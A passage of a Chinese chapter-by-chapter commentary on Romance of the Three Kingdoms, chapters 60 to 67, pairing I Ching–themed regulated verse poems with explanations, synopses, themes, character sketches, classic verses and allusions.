    庞统议取西蜀：庞统建议刘备取西蜀，刘备因顾及仁义之名有所犹豫，经庞统说服，决定入川。


    主要人物：


    张松：益州别驾，有才华但相貌丑陋，本想将西川献给曹操，却因曹操的轻慢转投刘备，是推动刘备入川的关键人物。


    曹操：自恃兵强马壮，骄傲自大，对张松不予礼遇，错失得到西川的机会。


    杨修：曹操门下掌库主簿，博学能言，智识过人，但在与张松的辩论中落了下风。


    刘备：以仁德着称，对张松礼贤下士，在庞统的劝说下决定入川夺取西蜀。


    庞统：刘备的重要谋士，有远见卓识，果断地提出进取西蜀的策略。


    赵云：刘备的部将，奉刘备之命迎接张松，展现了刘备集团对张松的重视。


    经典诗句：后人有诗赞张松曰：“古怪形容异，清高体貌疏。语倾三峡水，目视十行书。胆量魁西蜀，文章贯太虚。百家并诸子，一览更无余。”


    典故：本回中张松背诵《孟德新书》并说此书是战国时无名氏所作，曹操因此将书扯碎烧掉，这一情节可视为一个小典故，体现了张松的过目不忘和曹操的多疑。


    二、《周易哲学视角下的西蜀风云——解析“张永年反难杨修，庞士元议取西蜀”》


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 第61章 赵云截江夺阿斗 孙权遗书退老瞒

    一、七律诗《从周哲学视角看〈三国演义〉第 61 回》：


    （一）《从周哲学看六一回》


    风云际会三国间，忠义智勇展画卷。


    赵云截江护阿斗，孙姬谋私心未安。


    孙权权术谋霸业，曹操雄略亦有叹。


    周哲深析千秋事，人性复杂史中传。


    （二）诠释：


    诗的首联“风云际会三国间，忠义智勇展画卷”，点明了《三国演义》所处的动荡时代背景，以及本回中展现出的忠义与智勇等丰富的情节内容。


    “赵云截江护阿斗，孙姬谋私心未安”描述了赵云截江夺阿斗的英勇行为，以及孙夫人在亲情与权谋之间的内心挣扎。


    “孙权权术谋霸业，曹操雄略亦有叹”展现了孙权运用权谋追求霸业，以及曹操虽有雄才大略但也有无奈之处。


    “周哲深析千秋事，人性复杂史中传”则强调了从周哲学的视角深入剖析这一回所体现的历史事件，以及其中所蕴含的人性复杂多样的特点。


    整首诗以周哲学的角度，对《三国演义》第 61 回进行了全面而深刻的解读。


    （三）《三国演义》第 61回的回目，梗概，主题，情节，主要人物，经典诗句和典故


    回目：《三国演义》第 61 回的回目为“赵云截江夺阿斗 孙权遗书退老瞒”。


    梗概：


    赵云截江夺阿斗：刘备入川，孙权想乘此机会夺回荆州。张昭献计，假说吴国太病危，让孙夫人带阿斗回东吴，以便用阿斗换荆州。孙夫人中计，带着阿斗上船欲回东吴。赵云巡哨回来得知消息，沿江追赶，跳上渔船追至大船。在船上与孙夫人理论，不顾孙夫人反对，从她怀中夺下阿斗。此时张飞也前来接应，杀了东吴的周善，二人最终将阿斗带回。


    孙权遗书退老瞒：曹操起军四十万来报赤壁之仇，攻打东吴。孙权与曹操交战数月，互有胜负。春雨连绵，曹操想撤军但碍于面子。孙权写了一封信给曹操，曹操收到信后退兵。


    主题：


    本回主要展现了孙刘联盟在利益冲突下的矛盾与纷争，凸显了各势力之间的博弈和斗争。一方面，孙权为夺回荆州不择手段，刘备方的赵云、张飞则坚决维护刘备的利益，体现了不同势力对战略要地的争夺；另一方面，曹操与孙权的交战以及孙权遗书退曹操，反映了当时三国之间复杂的政治、军事局势。


    情节：


    刘备入川，庞统劝杀刘璋：刘备进入西川，与刘璋相互宴请。庞统、法正劝刘备在席间杀了刘璋，可轻易夺取西川，但刘备认为初入蜀中，恩信未立，不肯这样做。次日宴会上，庞统让魏延舞剑，欲趁机杀刘璋，被刘备喝止。


    刘备赴葭萌关拒张鲁：刘璋得知张鲁整顿兵马将犯葭萌关，便请刘备前往抵御。刘备慨然领诺，带兵前往葭萌关，且在那里严禁军士，广施恩惠，以收民心。


    孙权设计骗回孙夫人和阿斗：东吴得知刘备入川，认为是夺取荆州的好机会，但被吴国太阻拦。后张昭献计，假称国太病危骗孙夫人带阿斗回东吴。孙夫人信以为真，带着阿斗上船离开荆州。


    赵云追赶，张飞接应：赵云巡哨回来听闻消息，沿江追赶孙夫人的船。在危急时刻，张飞也前来接应，二人成功阻止了孙夫人将阿斗带往东吴。


    曹操攻打东吴，孙权遗书退敌：曹操起军攻打东吴，双方交战数月。因春雨连绵，曹操想撤军，孙权写信给曹操，曹操顺势


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    退兵。


    主要人物：


    赵云：忠勇无畏，单枪匹马追赶孙夫人的船队，在船上与众人周旋，不顾危险从孙夫人怀中夺下阿斗，展现出了极高的忠诚度和过人的武艺。


    张飞：勇猛暴躁，得知孙夫人要带阿斗回东吴，提剑跳上吴船，手起剑落杀了周善，协助赵云夺回阿斗。


    孙夫人：刘备的妻子，孙权的妹妹。她被孙权以国太病危为由骗回东吴，虽心中有愧，但仍执意要带阿斗走，体现出她在亲情与夫家利益之间的纠结。


    孙权：为夺回荆州，听从张昭之计，试图用计骗回阿斗，以谋取荆州，展现出他的权谋和对荆州的觊觎。


    刘备：此时在葭萌关抵御张鲁，对东吴发生的事情并不知晓，但他一直是各方势力争夺的焦点，也是赵云、张飞等人所维护的主公。


    经典诗句：


    “昔年救主在当阳，今日飞身向大江。船上吴兵皆胆裂，子龙英勇世无双！”这是后人称赞赵云的诗句，突出了赵云的英勇无畏和卓越的武艺，当年在当阳长坂坡他勇救阿斗，如今又在江面上孤身夺阿斗，其英勇世间无双。


    “长坂桥边怒气腾，一声虎啸退曹兵。今朝江上扶危主，青史应传万载名。”此诗称赞张飞，将他在长坂桥喝退曹军的勇猛与此次江上协助赵云夺回阿斗的功绩相提并论，认为他的英名应在青史上流传万载。


    典故：


    赵云截江夺阿斗：这一事件成为三国故事中的经典情节，凸显了赵云的忠勇和果敢，也为后世文学、艺术创作提供了丰富的素材，如在京剧、评书等艺术形式中经常被演绎。


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 第62章 取涪关杨高授首，攻雒城黄魏争功

    一、七律诗《周易哲学视角下的涪关与雒城之战》


    （一）《周易哲学视角下的涪关与雒城之战》


    涪关雒城战云稠，周易哲思蕴此谋。


    阳动阴随局势变，刚柔并济计谋筹。


    杨高授首阴阳转，黄魏争功智勇求。


    世事如棋常莫测，乾坤运化看风流。


    （二）诠释：


    “涪关雒城战云稠，周易哲思蕴此谋”：描绘了涪关和雒城之战的紧张局势，同时指出这场战争蕴含着周易哲学的谋略。


    “阳动阴随局势变，刚柔并济计谋筹”：体现了周易中阴阳相互作用、局势不断变化的理念，以及战争中刚柔并济的计策运用。


    “杨高授首阴阳转，黄魏争功智勇求”：讲述了杨高被擒杀、黄魏争功等具体情节，展现了阴阳的转化和双方在智谋与勇气上的较量。


    “世事如棋常莫测，乾坤运化看风流”：表达了世间之事如同棋局般变幻莫测，而在这场战争中，能看到乾坤运化的奇妙和英雄豪杰的风采。


    整首诗以周易哲学为视角，深入剖析了涪关与雒城之战的内涵和意义，展现了战争的复杂性与精彩之处。


    （三）《三国演义》第 62回的回目，梗概，主题，情节，主要人物，经典诗句和典故


    回目：《三国演义》第 62 回的回目为“取涪关杨高授首，攻雒城黄魏争功”。


    梗概：


    刘备应刘璋之请驻军葭萌关抵御张鲁，后向刘璋借军马钱粮，刘璋在大臣们的极力劝阻下只给了刘备一些老弱兵，刘备大怒。张松通刘备之事败露，被刘璋斩全家。


    刘备与庞统商议后决定依中计行事，假装回荆州，引杨怀、高沛来送。杨、高二人本想刺杀刘备，却被庞统识破，被刘备斩首，刘备得了涪关。


    刘璋派刘璝、泠苞、张任、邓贤点五万大军星夜往守雒县。黄忠、魏延争着去破冷苞、邓贤之寨。魏延违反军令提前出兵，中了埋伏被围，黄忠赶来相救。之后魏延设埋伏活捉了冷苞。刘备不杀降卒，降者可来去自由，欢声动地。但冷苞被放后，欲助刘璋子决涪水淹刘备兵，以保雒城。


    主题：


    展现智谋策略的重要性：此回中庞统的计策以及识破杨怀、高沛的行刺意图，还有刘备对局势的判断和决策等，都体现了智谋在战争和政治斗争中的关键作用。无论是谋取关隘还是应对各种突发情况，智谋的运用都决定了局势的走向。


    揭示人性的复杂：刘备一方面以仁义示人，但在谋取西川的过程中也展现出了果断和权谋。刘璋则过于轻信他人，优柔寡断，虽有忠臣劝谏，但仍未能避免危机。而像杨怀、高沛等将领，各怀心思，为了自己的利益不惜行刺。这些人物的行为和性格，展现了人性的多面性和在利益面前的复杂表现。


    反映权力争夺的残酷：无论是刘备与刘璋之间对西川的争夺，还是将领们为了各自的阵营和利益相互争斗，都体现了权力争夺的残酷性。在这个过程中，忠诚、背叛、算计等各种因素交织，生死胜负往往就在一念之间。


    情节：


    涪关计擒杨高：刘备依庞统之计，以回荆州为名引杨怀、高沛前来相送。杨、高二人暗藏利刃欲行刺刘备，被庞统提前察觉。最终杨怀、高沛被刘备擒杀，刘备顺利夺取涪关。


    雒城黄魏争功：刘璋派刘璝、泠苞、张任、邓贤守雒城，


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    黄忠和魏延都想立下头功。魏延违反约定提前出兵，中伏后被黄忠所救，随后魏延又设伏活捉了冷苞。


    紫虚上人预言：刘璝、张任等人行军途中路过锦屏山，向紫虚上人问前程。紫虚上人写下“左龙右凤，飞入西川。雏凤坠地，卧龙升天。一得一失，天数当然。见机而作，勿丧九泉”的话语，暗示了西川局势的发展。


    主要人物：


    刘备：此回中展现出他既有仁义的一面，又有谋取西川的野心和果断。他听从庞统的计策，成功夺取涪关，在对待降卒的问题上也表现出一定的宽容，以收拢人心。


    庞统：足智多谋，识破了杨怀、高沛的行刺计划，为刘备夺取涪关立下大功。他给刘备提出的上、中、下三计，体现了他对局势的准确判断和战略眼光。


    黄忠：作为老将，勇猛善战，在魏延中伏时出手相救，展现出其重情重义的一面。并且在与魏延争功的过程中，也积极表现，想要为刘备立功。


    魏延：性格急躁，急于立功，违反军令提前出兵，导致中伏。但他也有一定的智谋，后来设伏活捉冷苞将功补过。


    刘璋：性格懦弱，优柔寡断，虽有忠臣劝谏，但仍未能识破刘备的意图，最终导致涪关失守，雒城被围。


    经典诗句和典故：


    经典诗句：“一览无遗世所稀，谁知书信泄天机。未观玄德兴王业，先向成都血染衣。”此诗是后人感叹张松之事。张松欲献西川给刘备，因书信被其兄张肃发现而致全家被斩，诗句表达了对张松行事不慎导致悲惨结局的感慨，也暗示了西川局势即将因刘备的行动而发生重大变化。


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 第63章 诸葛亮痛哭庞统 张翼德义释严颜

    一、七律诗《周易哲学视角下的＜三国演义＞第 63 回解析》：


    （一）《解析六十三回》


    风云际会演兵戈，周易玄机蕴浩波。


    庞统魂消悲落凤，张飞义释展巍峨。


    阴阳变化无常势，刚柔相谐有定疴。


    三国纷争思哲理，千秋史册载悲歌。


    （二）诠释：


    诗的首联“风云际会演兵戈，周易玄机蕴浩波”，描绘了《三国演义》中第 63 回所展现的激烈战争场面，以及其中蕴含的周易哲学的深奥玄机。


    颔联“庞统魂消悲落凤，张飞义释展巍峨”，具体描述了庞统之死的悲剧和张飞义释严颜的壮举，展现出人物的不同命运和品格。


    颈联“阴阳变化无常势，刚柔相谐有定疴”，则体现了周易哲学中阴阳变化的无常和刚柔相济的道理，与故事情节中的起伏转折相呼应。


    尾联“三国纷争思哲理，千秋史册载悲歌”，表达了通过对这一回的解析，引发人们对三国纷争中蕴含的哲理的思考，同时也感慨这段历史在史册上留下的悲壮之歌。


    （三）《三国演义》第 63回的回目，梗概，主题，情节，主要人物，经典诗句和典故


    回目：《三国演义》第63回回目为“诸葛亮痛哭庞统，张翼德义释严颜”。


    梗概：


    庞统之死：刘备准备进取雒城，庞统不信诸葛亮书信中所说的主将帅身凶多吉吉，执意进兵。他与刘备分路进军，庞统走小路，刘备走大路。因庞统所骑之马眼生前失，刘备便将自己的白马与庞统交换。行至落凤坡时，张任的伏兵以为骑白马者是刘备，万箭齐发，庞统竟死于乱箭之下，年仅三十六岁。


    张飞进川：诸葛亮、张飞、赵云兵分两路前往西川，留关羽镇守荆州。张飞途经巴郡，与巴郡太守严颜交战。严颜虽战败被擒，但坚决不降。张飞钦佩严颜的志气，以礼相待，并且用严颜的部队为先锋，提前到达涪水关。


    主题：


    这一回体现了战争的残酷与无常，庞统这样的杰出谋士也会意外身死落凤坡，展现出在乱世纷争中，即使是有才华、有抱负之人，也难以逃脱命运的捉弄。同时，通过张飞义释严颜，突出了仁义之师的重要性以及张飞粗中有细、敬重忠义之士的一面，也反映出刘备集团的人才战略和得人心的特点，为其日后夺取西川、奠定蜀汉根基做了铺垫。


    情节：


    庞统执意进兵：诸葛亮观夜象发现主将帅身凶多吉少，写信告知刘备让其谨慎。但庞统疑心诸葛亮是不想让他独成大功，再三催促刘备进兵。


    落凤坡遇伏：庞统行至落凤坡，因骑了刘备的白马被张任的伏兵误认为是刘备，遭遇乱箭射杀。


    刘备败退涪关：庞统死后，汉军大乱，魏延被张任截断归路，陷入包围，幸得黄忠相救，与刘备一起且战且走，奔回涪关。


    诸葛亮夜观星象：在荆州的诸葛亮，七夕佳节夜宴众官时，望见正西上一颗星落，便知庞统凶多吉少，掩面痛哭。


    张飞擒严颜：张飞攻打巴郡，严颜坚守不出，后张飞用计生擒严颜。严颜坚决不降，张飞以礼待之。


    严颜助张飞：严颜被张飞的仁义所感，决定归降，并为张飞指引入川之路。


    主要人物：


    庞统：号凤雏，与诸葛亮齐名的谋士，急于立功，不听劝告，最终命丧落凤坡。


    刘


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    备：蜀汉之主，仁义之君，与庞统分路进兵，对庞统的死深感悲痛。


    诸葛亮：刘备的军师，智慧超群，能观天象知凶吉，对庞统的死十分惋惜。


    张飞：刘备的义弟，勇猛鲁莽，但在这一回中展现出了敬重忠义之士的一面，义释严颜。


    严颜：巴郡太守，忠勇之士，起初坚决不降，后被张飞的仁义打动而归降。


    张任：刘璋的部下，在落凤坡设伏射死庞统。


    经典诗句：


    “古岘相连紫翠堆，士元有宅傍山隈。儿童惯识呼鸠曲，闾巷曾闻展骥才。预计三分平刻削，长驱万里独徘徊。谁知天狗流星坠，不使将军衣锦回。”此诗是后人对庞统的叹息，描述了庞统的才华和抱负，以及他最终未能实现理想的遗憾。


    另有东南童谣云：“一凤并一龙，相将到蜀中。才到半路里，凤死落坡东。风送雨，雨随风，隆汉兴时蜀道通，蜀道通时只有龙。”童谣暗示了庞统的命运，也为故事增添了神秘色彩。


    典故：这一回中主要的典故就是“张翼德义释严颜”。张飞一向给人勇猛鲁莽的印象，但在面对严颜时，却能放下杀心，以礼相待，展现出他性格中仁义的一面。这种不杀降将、敬重忠义之士的行为，为刘备集团树立了良好的形象，也为后来更多人归降刘备奠定了基础。


    二、《周易哲学视角下的＜三国演义＞第 63 回解析》


    《三国演义》第 63 回“诸葛亮痛哭庞统，张翼德义释严颜”，这一情节充满了戏剧性与深意。若以周易哲学的视角来审视，更能揭示出其中所蕴含的人生哲理与命运无常的感慨。


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 第64章 孔明定计捉张任，杨阜借兵破马超

    一、七律诗《周易智慧在〈三国演义〉中的演绎：孔明定计擒张任与杨阜借兵破马超》


    （一）《周易智谋三国演》


    孔明妙计擒张任，杨阜筹谋破马超。


    易理深涵谋与略，风云变幻战和韬。


    阴阳变化玄机蕴，刚柔并济势气高。


    演义传奇千古颂，智谋传世领风骚。


    （二）诠释:


    诗的首联“孔明妙计擒张任，杨阜筹谋破马超”，直接点明了《三国演义》中孔明定计擒张任和杨阜借兵破马超这两个重要情节，突出了智谋在其中的关键作用。


    “易理深涵谋与略，风云变幻战和韬”，指出了周易智慧在这些情节中的体现，包括谋略的运用以及战争局势的变幻莫测。


    “阴阳变化玄机蕴，刚柔并济势气高”，进一步阐述了周易中阴阳变化的道理以及刚柔并济的策略在其中的体现，展现了人物的气势和智慧。


    尾联“演义传奇千古颂，智谋传世领风骚”，强调了《三国演义》这部作品的传奇性和影响力，以及其中所展现的智谋在历史长河中的重要地位。整首诗通过对这些情节和周易智慧的描绘，赞颂了其中的智谋和精彩之处。


    （三）《三国演义》第 64回的回目，梗概，主题，情节，主要人物，经典诗句和典故


    回目：《三国演义》第 64 回的回目是“孔明定计捉张任，杨阜借兵破马超”。


    梗概：


    刘备方面：严颜归降张飞后，使得张飞一路顺利。刘备欲攻雒城，劫张任寨失败，幸被张飞所救。诸葛亮到达涪水关后，定下计策。在金雁桥附近，魏延、黄忠在两岸芦苇中埋伏，赵云在桥北策应。诸葛亮诱张任出战，张任中计追至金雁桥，桥被拆断。张任欲往北逃，见赵云隔岸摆开，只得往南绕河而走，进入魏延、黄忠的埋伏圈，马军被执缚。张任引数十骑望山路而走，正遇张飞，被张飞活捉。张任誓死不降，被刘备下令处斩，随后刘备取得雒城。


    马超方面：马超兵败入羌，借西羌兵攻打冀城，刺史韦康欲降，参军杨阜苦谏，韦康不听投降后被杀。马超认为杨阜守义，复用杨阜为参军。杨阜假意投降马超，暗地联络姜叙、梁宽、赵衢，里应外合攻破马超，马超妻小均被杀。马超与庞德、马岱投张鲁，鲁大将杨柏与兄杨松不容马超，杨松又听黄权之言，欲助刘璋攻打刘备。


    主题：这一回主要体现了战争中智谋的重要性以及忠义之士的气节。诸葛亮用计擒张任展示了其卓越的军事才能和智慧；张任宁死不降体现了忠义精神；同时也展现了各方势力的角逐和纷争。


    情节：


    张飞义释严颜立功：张飞问计于严颜，严颜感恩张飞不杀之恩，愿为前部，所到之处关隘守将尽皆投降，张飞不费一兵一卒顺利进军。


    刘备劫寨失败被救：刘备听从黄忠建议，夜间分兵劫张任寨，却中了张任的计，被打得大败，幸亏张飞及时赶到救援。


    诸葛亮设伏擒张任：诸葛亮精心设计，利用地形在金雁桥附近设下埋伏，成功诱使张任中计，最终将其活捉。


    张任宁死不降：刘备劝降张任，张任坚决不降，厉声高骂，最终被刘备下令处斩，刘备感其忠诚，将其葬于金雁桥侧。


    杨阜借兵破马超：马超攻打冀城，韦康投降被杀，杨阜联络他人里应外合攻破马超，马超妻小被杀，后投张鲁。


    主要人物：


    诸葛亮：足智


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    多谋，定下计策成功擒获张任，是刘备阵营的核心谋士。


    张飞：勇猛且有智谋，在严颜的帮助下顺利进军，又参与了擒拿张任的行动。


    张任：刘璋手下的大将，极有胆略，虽被擒但宁死不降，是忠义之士。


    刘备：以仁德闻名，试图劝降张任，但尊重其选择并厚葬之。


    杨阜：有忠义之心，苦谏韦康不要投降，后借兵打败马超。


    马超：勇猛善战，但在冀城之战中被杨阜等人击败，后投张鲁。


    经典诗句：“烈士岂甘从二主，张君忠勇死犹生。高明正似天边月，夜夜流光照雒城。”此诗赞扬了张任的忠义和勇敢，即便身死，其精神也如同月光般照耀雒城。


    典故：


    金雁桥计擒张任：诸葛亮利用金雁桥的地形和周边的芦苇等环境，设下埋伏，成功擒获张任，这一计策展示了诸葛亮的智慧和军事才能，成为《三国演义》中的经典战例。


    杨阜借兵破马超：杨阜假意投降马超，暗中联络他人，里应外合攻破马超，这一情节体现了杨阜的智谋和忠义，也反映了马超在胜利后的疏忽和大意。


    二、《周易智慧在〈三国演义〉中的演绎：孔明定计擒张任与杨阜借兵破马超》


    《三国演义》作为中国文学史上的经典之作，以其波澜壮阔的历史画卷和精彩纷呈的人物形象而闻名于世。其中第 64 回“孔明定计捉张任，杨阜借兵破马超”更是充满了智谋与策略的较量，展现了人性的复杂与命运的变幻。而通过运用周易哲学的视角来深度解析这一情节，我们可以更深入地理解其中所蕴含的智慧与哲理。


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 第65章 马超大战葭萌关 刘备自领益州牧

    一、七律诗《周易哲学视角下的〈三国演义〉第 65 回：风云变幻与乾坤之变》


    （一）《七律·周易哲思观〈三国〉第六十五回》


    风云际会战葭萌，乱世纷争计迭呈。


    周易乾坤藏变幻，英雄智勇显威名。


    马超勇悍张飞猛，诸葛谋深局势明。


    史册留痕书壮烈，兴衰演绎道人生。


    （二）诠释：


    首联“风云际会战葭萌，乱世纷争计迭呈”，描绘了在葭萌关发生的激烈战斗以及三国乱世中各种计谋层出不穷的情景。


    颔联“周易乾坤藏变幻，英雄智勇显威名”，指出《周易》哲学中的乾坤变化之道在这一回中有所体现，同时英雄们凭借智勇展现出赫赫威名。


    颈联“马超勇悍张飞猛，诸葛谋深局势明”，具体描述了马超的勇猛、张飞的威猛以及诸葛亮智谋深远，对局势洞察分明。


    尾联“史册留痕书壮烈，兴衰演绎道人生”，强调了这段历史在史册上留下了壮烈的篇章，其中的兴衰变化也蕴含着人生的道理。


    整首诗以周易哲学为视角，深入剖析了《三国演义》第 65 回所展现的风云变幻和乾坤之变，同时也表达了对这段历史的感慨与思考。


    （三）《三国演义》第 65回的回目，梗概，主题，情节，主要人物，经典诗句和典故:


    回目：《三国演义》第 65 回回目为“马超大战葭萌关 刘备自领益州牧”。


    梗概：


    刘备的军队在雒城，法正差人回报说郑度劝刘璋尽烧野谷、仓廪，率巴西之民避于涪水西，深沟高垒而不战。但刘璋不肯迁动百姓，未从郑度之言，刘备这才放心。随后，刘备派黄忠、魏延进军，与费观派出的李严交战。李严与黄忠战四五十合不分胜败，后中了诸葛亮的诈败之计，被魏延伏兵所围，最终下马卸甲投降。李严又说服费观开城投降，刘备遂入绵竹。


    此时，葭萌关被东川张鲁遣马超与杨柏、马岱领兵攻打甚急。刘备大惊，诸葛亮认为只有张飞、赵云可敌马超。张飞听闻马超攻关，主动请战。魏延先到关下与杨柏交战，杨柏败走，魏延乘势追赶，中了马岱一箭。随后张飞赶到，喝退马岱。次日，张飞与马超正式交战，两人大战百余合不分胜负。午后，刘备见马超阵上人马皆倦，让张飞率五百骑冲下关去，二人又斗百余合。天黑后，二人点起火把夜战，马超诈败用铜锤偷袭张飞，张飞则拈弓搭箭回射马超，二将各自回阵。


    诸葛亮用计，差人用金银结好张鲁的谋士杨松，让杨松在张鲁面前进谗言，使张鲁对马超产生怀疑，并令其撤回马超兵。马超进退不得，诸葛亮趁机派人劝降，马超归降刘备。最后，刘璋投降，刘备自领益州牧。


    主题：


    展现人物的英勇与智慧：此回中，张飞与马超的大战，凸显了两人的英勇无畏，而诸葛亮的用计收降马超以及此前的诈败计收服李严，则展现了他的足智多谋。通过这些情节，强调了在战争中英勇和智慧的重要性。


    权力的更迭与势力的扩张：刘备通过一系列的战斗和谋略，成功占据益州，实现了势力的扩张，这是他在三国乱世中逐步崛起的重要一步，标志着他的势力范围得到了进一步的扩大，为后续的发展奠定了基础。


    情节：


    诸葛亮计收李严：诸葛亮看出李严


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    武艺高超不可力取，让黄忠、魏延用诈败之计将李严引入山峪，再以伏兵相逼，李严无奈投降。之后李严又说服费观一同投降刘备，刘备得以进入绵竹。


    张飞战马超：马超攻打葭萌关，张飞请战。两人初次交战百余合不分胜负，午后再战百余合，精神倍加。夜晚又点起火把夜战，马超诈败用铜锤偷袭，张飞回射，各自回阵。这一系列的战斗场景描写精彩，将两人的勇猛展现得淋漓尽致。


    诸葛亮离间张鲁与马超：诸葛亮得知张鲁手下谋士杨松极贪贿赂，便差人用金银结好杨松，让他在张鲁面前说马超的坏话，导致张鲁对马超产生怀疑并下令撤兵，使得马超进退两难，为刘备劝降马超创造了机会。


    主要人物：


    刘备：作为此回故事的主角之一，他展现出了领导者的风范。在取得一系列胜利后，逐渐扩大了自己的势力范围，最终自领益州牧，实现了事业上的重要突破。他对人才的重视，如厚待李严、接纳马超等，也体现了他的用人之道。


    诸葛亮：依然是刘备阵营的核心谋士，智慧超群。用计收服李严，又巧妙地利用张鲁与马超之间的矛盾，成功劝降马超，为刘备夺取益州立下了汗马功劳，再次证明了他在谋略方面的卓越才能。


    张飞：性格鲁莽但勇猛无比，听闻马超攻关便急于出战，与马超大战数场不分胜负，展现出了他的超强武力和战斗精神。


    马超：英勇善战，为张鲁攻打葭萌关，给刘备阵营带来了巨大的威胁。但在张鲁对他产生怀疑后，陷入进退两难的境地，最终被刘备劝降，成为刘备阵营的一员猛将。


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 第66章 关云长单刀赴会 伏皇后为国捐生

    一、七律诗《周易哲学视角下的“关云长单刀赴会”与“伏皇后为国捐生”》


    （一）《周易哲思映史篇》


    《周易》哲思透古笺，关云单赴义凌天。


    东吴谋计风云涌，蜀汉豪情胆气坚。


    伏后捐生为国念，奸雄弄势霸图连。


    兴衰荣辱皆成幻，史海沉钩鉴万千。


    （二）诠释：


    诗的首联“《周易》哲思透古笺，关云单赴义凌天”，点明了主题，以《周易》的哲学思想为背景，映衬出关云长单刀赴会的英勇和义气直冲云天。


    颔联“东吴谋计风云涌，蜀汉豪情胆气坚”，描述了东吴的阴谋诡计和蜀汉的豪情与坚定，进一步展现出关云长面临的复杂局势和他的勇敢无畏。


    颈联“伏后捐生为国念，奸雄弄势霸图连”，则讲述了伏皇后为国捐躯的悲壮，以及奸雄曹操的权势和野心。


    尾联“兴衰荣辱皆成幻，史海沉钩鉴万千”，表达了历史的兴衰荣辱都如梦幻泡影，而这些历史故事成为了后人借鉴的宝贵经验，蕴含着深刻的哲理。整首诗通过对“关云长单刀赴会”与“伏皇后为国捐生”的描绘，展现了周易哲学在历史中的映照，以及对历史的思考和感慨。


    （三）《三国演义》第 66回的回目，梗概，主题，情节，主要人物，经典诗句和典故


    回目：《三国演义》第 66 回回目为“关云长单刀赴会 伏皇后为国捐生”。


    梗概：


    关羽单刀赴会：孙权想要索回荆州，张昭献计软禁诸葛瑾及其家人，让诸葛瑾去刘备处讨回荆州。诸葛亮与刘备定下计策，让诸葛瑾来回奔波却空手而归。孙权迁怒鲁肃，鲁肃便屯兵陆口，邀请关羽赴会，欲趁机索要荆州。关羽不惧危险，决定单刀赴会。在宴会上，他与鲁肃据理力争，表明绝不归还荆州，最后佯装醉酒，挟持鲁肃安全脱身。


    伏皇后为国捐生：汉献帝与伏皇后听闻曹操欲篡位，伏皇后修书给父亲伏完，让献帝召穆顺携书给伏完，准备联合刘备、孙权共击曹操。但事情败露，密书被曹操搜出，曹操杀了伏皇后及其父一家、穆顺一家老小。献帝亡了皇后，连日不食，曹操将自己女儿嫁给献帝，献帝不得不从，册立曹操女为皇后。


    主题：


    这一回主要展现了关羽的英勇无畏、智勇双全以及忠义精神，他单刀赴会，在东吴的威胁下毫不畏惧，坚决维护了刘备集团的利益，凸显了“义”的主题。同时，伏皇后的遭遇揭示了曹操的专权跋扈，以及汉室衰微的无奈，反映了当时政治斗争的残酷和复杂。


    情节：


    鲁肃邀关羽赴会：孙权因刘备得了西川却不归还荆州而大怒，差人召鲁肃责问，鲁肃提出请关羽赴会，若不从便杀之，若不来就进兵夺取荆州，孙权同意。鲁肃派人送请书给关羽，关羽明知有诈仍答应赴宴。


    关羽单刀赴宴：关羽只带亲随十余人，单刀赴会。鲁肃在宴间提及归还荆州之事，关羽以刘备当初只是借荆州、乌林之役有功劳等理由反驳。周仓插嘴被关羽呵斥，随后关羽假借醉酒拉住鲁肃，走到江边才放手，成功脱险。


    曹操与伏皇后之事：曹操权势日盛，汉献帝与伏皇后得知曹操欲称“魏王”后相拥大哭。伏皇后写信给父亲伏完欲除曹操，事情败露，曹操杀了伏皇后一家及穆顺一家，之后曹操将女儿嫁给献帝，立为皇后。


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    主要人物：


    关羽：蜀汉名将，忠义勇猛，不惧东吴的威胁，单刀赴会，展现出非凡的胆识和气概，面对鲁肃的索要荆州，据理力争，维护了刘备集团的利益。


    鲁肃：东吴的重要谋士和将领，虽为孙权效力索要荆州，但有长者之风，在关羽单刀赴会时，因担心关羽伤害自己而不敢让伏兵轻动。


    孙权：东吴之主，想要索回荆州，采用了张昭的计策和鲁肃的建议，但在面对曹操的威胁时，又不敢轻易出兵荆州。


    曹操：挟天子以令诸侯，专权跋扈，发现伏皇后欲除自己的计划后，残忍杀害伏皇后一家。


    伏皇后：忠于汉室，为了保护汉献帝，试图联合外部力量对抗曹操，最终失败被杀。


    经典诗句：“藐视吴臣若小儿，单刀赴会敢平欺。当年一段英雄气，尤胜相如在渑池。”此诗赞扬了关羽单刀赴会的英雄气概，将他与战国时期的蔺相如相提并论，认为关羽在单刀赴会时所展现出的勇气和智慧胜过了蔺相如在渑池之会上的表现。


    典故：


    单刀赴会：关羽只带一口刀和少数随从赴东吴宴会，后泛指一个人冒险赴约。这一典故充分体现了关羽的英勇和自信，以及他对刘备的忠诚和对东吴的不惧。


    伏皇后为国捐生：伏皇后为了汉室江山，不惜冒险联络外部力量对抗曹操，最终被曹操杀害，展现了她的忠贞和勇敢。这一事件也成为了曹操专权跋扈的一个例证，反映了当时汉室的衰微和政治斗争的残酷。


    二、《周易哲学视角下的“关云长单刀赴会”与“伏皇后为国捐生”》


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 第67章 曹操平定汉中地，张辽威震逍遥津

    一、七律诗《周易哲学视角下的曹操与张辽之战》：


    （一）《周易哲学视角下的曹操与张辽之战》


    周易玄妙蕴兵机，曹孟德谋定汉西。


    张辽威震逍遥渡，勇略非凡敌胆凄。


    变化阴阳局势转，刚柔并济展雄奇。


    否终泰至乾坤定，青史留名颂战旗。


    （二）诠释：


    诗的首联“周易玄妙蕴兵机，曹孟德谋定汉西”，指出《周易》中蕴含着深奥奇妙的军事策略，曹操运用智谋平定汉中之地。


    颔联“张辽威震逍遥渡，勇略非凡敌胆凄”，描述了张辽在逍遥津之战中展现出的威震四方的气势和非凡的勇武与谋略，让敌人胆寒畏惧。


    颈联“变化阴阳局势转，刚柔并济展雄奇”，体现了周易哲学中阴阳变化的道理，曹操和张辽在战争中根据局势的变化灵活应对，刚柔并济，展现出战争的雄奇之处。


    尾联“否终泰至乾坤定，青史留名颂战旗”，表达了战争的结果是由逆境转向顺境，最终乾坤安定，他们的事迹在历史上留下了光辉的印记，被人们传颂赞扬。


    整首诗从周易哲学的角度，深入剖析了曹操平定汉中地和张辽威震逍遥津这两场战役，展现了战争的谋略、气势和历史意义。


    （三）《三国演义》第 67回的回目，梗概，主题，情节，主要人物，经典诗句和典故


    1. 回目：曹操平定汉中地，张辽威震逍遥津


    2. 梗概：


